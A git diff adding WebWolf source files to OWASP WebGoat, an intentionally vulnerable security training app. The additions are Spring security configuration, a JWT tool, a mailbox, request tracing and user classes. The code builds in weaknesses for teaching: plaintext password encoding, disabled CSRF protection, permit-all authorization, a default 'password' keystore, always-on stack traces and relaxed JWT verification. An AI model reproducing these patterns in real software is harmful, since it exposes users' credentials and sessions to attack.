registry) { + registry.addResourceHandler("/files/**").addResourceLocations("file:///" + fileLocation + "/"); + + registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webwolf/static/css/"); + registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webwolf/static/js/"); + registry + .addResourceHandler("/images/**") + .addResourceLocations("classpath:/webwolf/static/images/"); + } + + @Override + public void addViewControllers(ViewControllerRegistry registry) { + registry.addViewController("/login").setViewName("webwolf-login"); + registry.addViewController("/home").setViewName("home"); + } + + @PostConstruct + public void createDirectory() { + File file = new File(fileLocation); + if (!file.exists()) { + file.mkdirs(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java b/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java new file mode 100644 index 000000000..7afa030af --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ +package org.owasp.webgoat.webwolf; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.webwolf.user.UserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.HttpMethod; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.crypto.password.NoOpPasswordEncoder; + +/** Security configuration for WebGoat. */ +@Configuration +@AllArgsConstructor +@EnableWebSecurity +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + private final UserService userDetailsService; + + @Override + protected void configure(HttpSecurity http) throws Exception { + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = + http.authorizeRequests() + .antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home") + .permitAll() + .antMatchers(HttpMethod.GET, "/mail/**", "/requests/**") + .authenticated() + .antMatchers("/files") + .authenticated() + .anyRequest() + .permitAll(); + security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true"); + security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll(); + security.and().logout().permitAll(); + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth.userDetailsService(userDetailsService); // .passwordEncoder(bCryptPasswordEncoder()); + } + + @Bean + @Override + public UserDetailsService userDetailsServiceBean() throws Exception { + return userDetailsService; + } + + @Override + @Bean + protected AuthenticationManager authenticationManager() throws Exception { + return super.authenticationManager(); + } + + @Bean + public NoOpPasswordEncoder passwordEncoder() { + return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java b/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java new file mode 100644 index 000000000..fa5d488a3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java @@ -0,0 +1,43 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import org.owasp.webgoat.webwolf.requests.WebWolfTraceRepository; +import org.springframework.boot.actuate.trace.http.HttpTraceRepository; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.PropertySource; + +@Configuration +@ComponentScan("org.owasp.webgoat.webwolf") +@PropertySource("classpath:application-webwolf.properties") +@EnableAutoConfiguration +public class WebWolf { + + @Bean + public HttpTraceRepository traceRepository() { + return new WebWolfTraceRepository(); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java new file mode 100644 index 000000000..7d7ab61ba --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java @@ -0,0 +1,41 @@ +package org.owasp.webgoat.webwolf.jwt; + +import static org.springframework.http.MediaType.APPLICATION_FORM_URLENCODED_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.springframework.util.MultiValueMap; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +@RestController +public class JWTController { + + @GetMapping("/jwt") + public ModelAndView jwt() { + return new ModelAndView("jwt"); + } + + @PostMapping( + value = "/jwt/decode", + consumes = APPLICATION_FORM_URLENCODED_VALUE, + produces = APPLICATION_JSON_VALUE) + public JWTToken decode(@RequestBody MultiValueMap formData) { + var jwt = formData.getFirst("token"); + var secretKey = formData.getFirst("secretKey"); + return JWTToken.decode(jwt, secretKey); + } + + @PostMapping( + value = "/jwt/encode", + consumes = APPLICATION_FORM_URLENCODED_VALUE, + produces = APPLICATION_JSON_VALUE) + public JWTToken encode(@RequestBody MultiValueMap formData) { + var header = formData.getFirst("header"); + var payload = formData.getFirst("payload"); + var secretKey = formData.getFirst("secretKey"); + return JWTToken.encode(header, payload, secretKey); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java new file mode 100644 index 000000000..88fcdc1c5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java @@ -0,0 +1,138 @@ +package org.owasp.webgoat.webwolf.jwt; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.springframework.util.Base64Utils.decodeFromUrlSafeString; +import static org.springframework.util.StringUtils.hasText; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.util.Map; +import java.util.TreeMap; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import org.jose4j.jws.JsonWebSignature; +import org.jose4j.jwt.consumer.InvalidJwtException; +import org.jose4j.jwt.consumer.JwtConsumer; +import org.jose4j.jwt.consumer.JwtConsumerBuilder; +import org.jose4j.jwx.CompactSerializer; +import org.jose4j.keys.HmacKey; +import org.jose4j.lang.JoseException; + +@NoArgsConstructor +@AllArgsConstructor +@Getter +@Setter +@Builder(toBuilder = true) +public class JWTToken { + + private String encoded = ""; + private String secretKey; + private String header; + private boolean validHeader; + private boolean validPayload; + private boolean validToken; + private String payload; + private boolean signatureValid = true; + + public static JWTToken decode(String jwt, String secretKey) { + var token = parseToken(jwt.trim().replace(System.getProperty("line.separator"), "")); + return token.toBuilder().signatureValid(validateSignature(secretKey, jwt)).build(); + } + + private static Map parse(String header) { + var reader = new ObjectMapper(); + try { + return reader.readValue(header, TreeMap.class); + } catch (JsonProcessingException e) { + return Map.of(); + } + } + + private static String write(String originalValue, Map data) { + var writer = new ObjectMapper().writerWithDefaultPrettyPrinter(); + try { + if (data.isEmpty()) { + return originalValue; + } + return writer.writeValueAsString(data); + } catch (JsonProcessingException e) { + return originalValue; + } + } + + public static JWTToken encode(String header, String payloadAsString, String secretKey) { + var headers = parse(header); + var payload = parse(payloadAsString); + + var builder = + JWTToken.builder() + .header(write(header, headers)) + .payload(write(payloadAsString, payload)) + .validHeader(!hasText(header) || !headers.isEmpty()) + .validToken(true) + .validPayload(!hasText(payloadAsString) || !payload.isEmpty()); + + JsonWebSignature jws = new JsonWebSignature(); + jws.setPayload(payloadAsString); + headers.forEach((k, v) -> jws.setHeader(k, v)); + if (!headers.isEmpty()) { // otherwise e30 meaning {} will be shown as header + builder.encoded( + CompactSerializer.serialize( + new String[] {jws.getHeaders().getEncodedHeader(), jws.getEncodedPayload()})); + } + + // Only sign when valid header and payload + if (!headers.isEmpty() && !payload.isEmpty() && hasText(secretKey)) { + jws.setDoKeyValidation(false); + jws.setKey(new HmacKey(secretKey.getBytes(UTF_8))); + try { + builder.encoded(jws.getCompactSerialization()); + builder.signatureValid(true); + } catch (JoseException e) { + // Do nothing + } + } + return builder.build(); + } + + private static JWTToken parseToken(String jwt) { + var token = jwt.split("\\."); + var builder = JWTToken.builder().encoded(jwt); + + if (token.length >= 2) { + var header = new String(decodeFromUrlSafeString(token[0]), UTF_8); + var payloadAsString = new String(decodeFromUrlSafeString(token[1]), UTF_8); + var headers = parse(header); + var payload = parse(payloadAsString); + builder.header(write(header, headers)); + builder.payload(write(payloadAsString, payload)); + builder.validHeader(!headers.isEmpty()); + builder.validPayload(!payload.isEmpty()); + builder.validToken(!headers.isEmpty() && !payload.isEmpty()); + } else { + builder.validToken(false); + } + return builder.build(); + } + + private static boolean validateSignature(String secretKey, String jwt) { + if (hasText(secretKey)) { + JwtConsumer jwtConsumer = + new JwtConsumerBuilder() + .setSkipAllValidators() + .setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8))) + .setRelaxVerificationKeyValidation() + .build(); + try { + jwtConsumer.processToClaims(jwt); + return true; + } catch (InvalidJwtException e) { + return false; + } + } + return false; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java new file mode 100644 index 000000000..4cca7856b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java @@ -0,0 +1,74 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.mailbox; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import java.io.Serializable; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import javax.persistence.*; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * @author nbaars + * @since 8/20/17. + */ +@Data +@Builder +@AllArgsConstructor +@Entity +@NoArgsConstructor +public class Email implements Serializable { + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long id; + + @JsonIgnore private LocalDateTime time = LocalDateTime.now(); + + @Column(length = 1024) + private String contents; + + private String sender; + private String title; + private String recipient; + + public String getSummary() { + return "-" + this.contents.substring(0, Math.min(50, contents.length())); + } + + public LocalDateTime getTimestamp() { + return time; + } + + public String getTime() { + return DateTimeFormatter.ofPattern("h:mm a").format(time); + } + + public String getShortSender() { + return sender.substring(0, sender.indexOf("@")); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java new file mode 100644 index 000000000..6a3640bfd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java @@ -0,0 +1,64 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.mailbox; + +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +@RestController +@AllArgsConstructor +@Slf4j +public class MailboxController { + + private final MailboxRepository mailboxRepository; + + @GetMapping(value = "/mail") + public ModelAndView mail() { + UserDetails user = + (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + ModelAndView modelAndView = new ModelAndView(); + List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); + if (emails != null && !emails.isEmpty()) { + modelAndView.addObject("total", emails.size()); + modelAndView.addObject("emails", emails); + } + modelAndView.setViewName("mailbox"); + return modelAndView; + } + + @PostMapping(value = "/mail") + public ResponseEntity sendEmail(@RequestBody Email email) { + mailboxRepository.save(email); + return ResponseEntity.status(HttpStatus.CREATED).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java new file mode 100644 index 000000000..b1979ada8 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java @@ -0,0 +1,35 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.mailbox; + +import java.util.List; +import org.springframework.data.jpa.repository.JpaRepository; + +/** + * @author nbaars + * @since 8/17/17. + */ +public interface MailboxRepository extends JpaRepository { + + List findByRecipientOrderByTimeDesc(String recipient); +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java b/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java new file mode 100644 index 000000000..6d46c014f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java @@ -0,0 +1,52 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.requests; + +import java.util.concurrent.Callable; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; + +@Controller +@Slf4j +@RequestMapping("/landing/**") +public class LandingPage { + + @RequestMapping( + method = { + RequestMethod.POST, + RequestMethod.GET, + RequestMethod.DELETE, + RequestMethod.PATCH, + RequestMethod.PUT + }) + public Callable> ok(HttpServletRequest request) { + return () -> { + log.trace("Incoming request for: {}", request.getRequestURL()); + return ResponseEntity.ok().build(); + }; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java b/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java new file mode 100644 index 000000000..f510ed7e9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java @@ -0,0 +1,110 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.requests; + +import static java.util.stream.Collectors.toList; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.time.Instant; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.boot.actuate.trace.http.HttpTrace; +import org.springframework.boot.actuate.trace.http.HttpTrace.Request; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.servlet.ModelAndView; + +/** + * Controller for fetching all the HTTP requests from WebGoat to WebWolf for a specific user. + * + * @author nbaars + * @since 8/13/17. + */ +@Controller +@RequiredArgsConstructor +@Slf4j +@RequestMapping(value = "/requests") +public class Requests { + + private final WebWolfTraceRepository traceRepository; + private final ObjectMapper objectMapper; + + @AllArgsConstructor + @Getter + private class Tracert { + private final Instant date; + private final String path; + private final String json; + } + + @GetMapping + public ModelAndView get() { + var model = new ModelAndView("requests"); + var user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + var traces = + traceRepository.findAllTraces().stream() + .filter(t -> allowedTrace(t, user)) + .map(t -> new Tracert(t.getTimestamp(), path(t), toJsonString(t))) + .collect(toList()); + model.addObject("traces", traces); + + return model; + } + + private boolean allowedTrace(HttpTrace t, UserDetails user) { + Request req = t.getRequest(); + boolean allowed = true; + /* do not show certain traces to other users in a classroom setup */ + if (req.getUri().getPath().contains("/files") + && !req.getUri().getPath().contains(user.getUsername())) { + allowed = false; + } else if (req.getUri().getPath().contains("/landing") + && req.getUri().getQuery() != null + && req.getUri().getQuery().contains("uniqueCode") + && !req.getUri().getQuery().contains(StringUtils.reverse(user.getUsername()))) { + allowed = false; + } + + return allowed; + } + + private String path(HttpTrace t) { + return (String) t.getRequest().getUri().getPath(); + } + + private String toJsonString(HttpTrace t) { + try { + return objectMapper.writeValueAsString(t); + } catch (JsonProcessingException e) { + log.error("Unable to create json", e); + } + return "No request(s) found"; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java b/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java new file mode 100644 index 000000000..bba73a890 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java @@ -0,0 +1,76 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.requests; + +import com.google.common.collect.EvictingQueue; +import java.util.ArrayList; +import java.util.List; +import lombok.extern.slf4j.Slf4j; +import org.springframework.boot.actuate.trace.http.HttpTrace; +import org.springframework.boot.actuate.trace.http.HttpTraceRepository; + +/** + * Keep track of all the incoming requests, we are only keeping track of request originating from + * WebGoat. + * + * @author nbaars + * @since 8/13/17. + */ +@Slf4j +public class WebWolfTraceRepository implements HttpTraceRepository { + + private final EvictingQueue traces = EvictingQueue.create(10000); + private final List exclusionList = + List.of( + "/tmpdir", + "/home", + "/files", + "/images/", + "/favicon.ico", + "/js/", + "/webjars/", + "/requests", + "/css/", + "/mail"); + + @Override + public List findAll() { + return List.of(); + } + + public List findAllTraces() { + return new ArrayList<>(traces); + } + + private boolean isInExclusionList(String path) { + return exclusionList.stream().anyMatch(e -> path.contains(e)); + } + + @Override + public void add(HttpTrace httpTrace) { + var path = httpTrace.getRequest().getUri().getPath(); + if (!isInExclusionList(path)) { + traces.add(httpTrace); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java b/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java new file mode 100644 index 000000000..c7e87b559 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java @@ -0,0 +1,34 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.user; + +import org.springframework.data.jpa.repository.JpaRepository; + +/** + * @author nbaars + * @since 3/19/17. + */ +public interface UserRepository extends JpaRepository { + + WebGoatUser findByUsername(String username); +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java b/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java new file mode 100644 index 000000000..a57980e9c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java @@ -0,0 +1,55 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.user; + +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.stereotype.Service; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Service +public class UserService implements UserDetailsService { + + private UserRepository userRepository; + + public UserService(UserRepository userRepository) { + this.userRepository = userRepository; + } + + @Override + public WebGoatUser loadUserByUsername(final String username) throws UsernameNotFoundException { + WebGoatUser webGoatUser = userRepository.findByUsername(username); + if (webGoatUser == null) { + throw new UsernameNotFoundException("User not found"); + } + webGoatUser.createUser(); + return webGoatUser; + } + + public void addUser(final String username, final String password) { + userRepository.save(new WebGoatUser(username, password)); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java b/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java new file mode 100644 index 000000000..d432ff925 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java @@ -0,0 +1,82 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.user; + +import java.util.Collection; +import java.util.Collections; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Transient; +import lombok.Getter; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Entity +public class WebGoatUser implements UserDetails { + + @Id private String username; + private String password; + @Transient private User user; + + protected WebGoatUser() {} + + public WebGoatUser(String username, String password) { + this.username = username; + this.password = password; + createUser(); + } + + public void createUser() { + this.user = new User(username, password, getAuthorities()); + } + + public Collection getAuthorities() { + return Collections.emptyList(); + } + + @Override + public boolean isAccountNonExpired() { + return this.user.isAccountNonExpired(); + } + + @Override + public boolean isAccountNonLocked() { + return this.user.isAccountNonLocked(); + } + + @Override + public boolean isCredentialsNonExpired() { + return this.user.isCredentialsNonExpired(); + } + + @Override + public boolean isEnabled() { + return this.user.isEnabled(); + } +} diff --git a/src/main/resources/application-webgoat.properties b/src/main/resources/application-webgoat.properties new file mode 100644 index 000000000..cd217395c --- /dev/null +++ b/src/main/resources/application-webgoat.properties @@ -0,0 +1,62 @@ +server.error.include-stacktrace=always +server.error.path=/error.html +server.servlet.context-path=/WebGoat +server.servlet.session.persistent=false +server.port=${webgoat.port:8080} +server.address=${webgoat.host} +webgoat.host=${WEBGOAT_HOST:127.0.0.1} +spring.application.name=WebGoat + +server.ssl.key-store-type=${WEBGOAT_KEYSTORE_TYPE:PKCS12} +server.ssl.key-store=${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12} +server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password} +server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat} +server.ssl.enabled=${WEBGOAT_SSLENABLED:false} + +spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/webgoat +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.properties.hibernate.default_schema=CONTAINER +spring.banner.location=classpath:banner.txt + 